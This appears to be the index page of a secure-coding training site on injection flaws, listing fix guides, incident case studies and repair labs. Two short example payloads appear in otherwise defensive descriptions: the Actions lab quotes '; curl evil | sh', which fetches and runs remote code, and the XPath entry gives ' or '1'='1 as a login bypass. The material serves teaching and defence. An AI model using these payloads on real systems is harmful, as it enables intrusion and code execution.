Injection

Fix SQL injection in Python sqlite3

Bind query values separately from SQL syntax, then prove the fix preserves legitimate behavior and blocks an injection probe.

Development · Developers, AppSec engineers

Keep untrusted values out of executable syntax

Choose a safe interface for each interpreter and bound the work performed by parsers and converters.

Development · Developers

Run external programs without command or argument injection

Run programs from an argument list with no shell, end options before user values, and keep untrusted arguments away from Windows batch files.

Development · Developers

Keep untrusted input out of eval, expression languages and templates

Keep code and templates constant, pass input as data, and treat in-process sandboxes as one layer, not a boundary.

Development · Developers

Case study: Log4Shell (CVE-2021-44228)

How a JNDI lookup in Apache Log4j became internet-wide remote code execution, why transitive and shaded dependencies made it so hard to patch, which mitigations held, and what it teaches about dependency inventory and SBOMs.

Release, Maintenance · Developers, AppSec engineers

Prevent CRLF header injection, log forging and CSV formula injection

Carriage return and line feed separate HTTP header fields, log records and CSV rows, and a leading = turns a spreadsheet cell into a formula. Let the framework write headers, log structured JSON, and neutralize formula triggers in exports.

Development · Developers, AppSec engineers, Platform engineers and SREs

Prevent DOM XSS, postMessage abuse and client-side injection

Trace attacker-controlled values from the URL, messages and storage to the browser APIs that parse HTML or run code, then close those sinks with safe APIs, a sanitizer, Trusted Types and strict message checks.

Development · Developers, AppSec engineers

Prevent NoSQL, LDAP, XPath and expression-language injection

SQL is not the only query language that receives user input. Stop MongoDB operator injection with type checks and $eq, escape LDAP filter values, pass XPath values as variables, and never evaluate SpEL or OGNL built from request data.

Development · Developers, AppSec engineers

Case study: MOVEit Transfer mass exploitation (CVE-2023-34362)

How one unauthenticated SQL injection in an internet-facing file transfer product let the Cl0p group steal data from thousands of organizations in days in 2023, how defenders found the web shell, and the vendor and customer controls that would have limited it.

Maintenance, Security program · Developers, AppSec engineers

Prevent file inclusion: LFI, RFI, dynamic imports and template names

Stop request data from choosing which file, module or template your application loads: local and remote file inclusion in PHP, dynamic require() and import() in Node.js, importlib and template names in Python, Thymeleaf view names in Spring, render in Rails, and the allowlist fix that works in all of them.

Development · Developers, AppSec engineers

Keep untrusted CI work outside the release boundary

Review workflow authority, persistent state and artifact handoffs before contributor-controlled code reaches privileged jobs.

Development, Release · Developers

Harden GitHub Actions against workflow and supply-chain attacks

Close the paths that give untrusted pull-request code secrets or a write token: pass context through env, keep pull_request_target away from fork code, pin actions to commit SHAs, scope GITHUB_TOKEN and OIDC, and treat artifacts as data.

Development, Release · Developers, AppSec engineers, Platform engineers and SREs

Create security logs someone can investigate

Record meaningful decisions with consistent structure, protect the resulting evidence, and prove that important events reach an operational owner.

Maintenance · Developers, AppSec engineers, Platform engineers and SREs

Case study: ingress-nginx CVE-2025-1974 and the exposed admission webhook (2025)

How an admission webhook open to the whole Pod network made ingress-nginx's configuration-injection bugs a 9.8 cluster-takeover risk in 2025, and what its 2026 retirement means.

Development, Maintenance · Developers, Platform engineers and SREs

Actions injection lab: Flag GitHub Actions expression injection

A workflow interpolates ${{ github.event.issue.title }} straight into a run script, so an issue title like "; curl evil | sh" runs on the runner. The linter that is supposed to catch this only knows one expression. Repair it so it flags any attacker-controlled context used in a shell script, and treats the env-variable pattern as safe.

SQL injection lab: Separate SQL structure from data with sqlite3

A product search builds its SQL by formatting the shopping category and search term straight into the query string, so a crafted term can read other tables or return every row. Repair it to use sqlite3 parameters, while keeping the legitimate search working.

File upload lab: Accept avatars without publishing pages

A profile-picture upload trusts the client’s Content-Type and file name, stores files in the public folder and serves them with the client’s type, so an SVG with a script runs in the site’s origin. Repair the upload decision.

OS command injection lab: Run git without a shell

A repository browser pastes request values into a git command line for the shell, so a semicolon starts a second command and a leading dash becomes a git option. Run git directly, with each value as one argument.

SSTI lab: Render a welcome banner without template injection

A welcome banner is built by concatenating the user’s display name into a Jinja template string, so a crafted name is evaluated as a template: it runs expressions, bypasses autoescaping and reads the render context. Repair render_welcome so the name is data, not template source.

XXE lab: Parse an uploaded invoice without resolving external entities

An invoice importer parses uploaded XML with a parser that resolves external entities, so a crafted DOCTYPE reads a local file into the response (XXE). Repair parse_invoice so the parser never resolves external entities, loads no DTD and makes no network request.

Pickle deserialization lab: Load a session token without pickle

A session loader parses JSON but falls back to pickle for “legacy” tokens, so a crafted pickle runs code when it is loaded. Repair load_token to parse JSON only and validate it against a fixed schema, and leave no path that unpickles untrusted bytes.

Code injection

Code injection happens when user input is evaluated as code: eval or new Function in JavaScript, a Spring Expression Language (SpEL) StandardEvaluationContext in Java, or Roslyn scripting in C#.

CSV formula injection

CSV formula injection (also called CSV or formula injection) happens when user-supplied data is written to a CSV (or TSV) export and a spreadsheet later reads a cell beginning with =, +, -, @, tab or carriage return as a live formula -- which can exfiltrate data with HYPERLINK, call DDE, or mislead the reader.

LDAP filter injection

LDAP filter injection happens when request data is concatenated into an LDAP search filter, so the metacharacters of RFC 4515 (* ( ) \ and NUL) are parsed as filter syntax instead of data.

NoSQL operator injection

MongoDB filters are objects, and a key that starts with $ is an operator.

OS command and argument injection

Command injection happens when request data is pasted into a command line that a shell then parses, so a crafted value can start a second command (OS command injection, CWE-78) or add an unintended option to the one you meant to run (argument injection, CWE-88).

Server-side template injection

Template injection happens when request data reaches a template engine as template text rather than as data, so the engine compiles and evaluates it.

SQL injection

SQL injection happens when request data is pasted into the text of a SQL statement, so a crafted value can end a string literal and change what the query does: return other customers' rows, drop a filter or read columns the API never returns.

XPath injection

XPath injection happens when untrusted data is concatenated into an XPath query against an XML document, so a payload such as ' or '1'='1 changes the query's logic -- turning a login into an authentication bypass or a directory search into a dump of every record.

CRLF injection in logs and response headers

CRLF injection happens when request data is written into a line-oriented format, such as a log file or an HTTP header, without encoding, so a carriage return or line feed in it ends the current record and starts one the attacker wrote.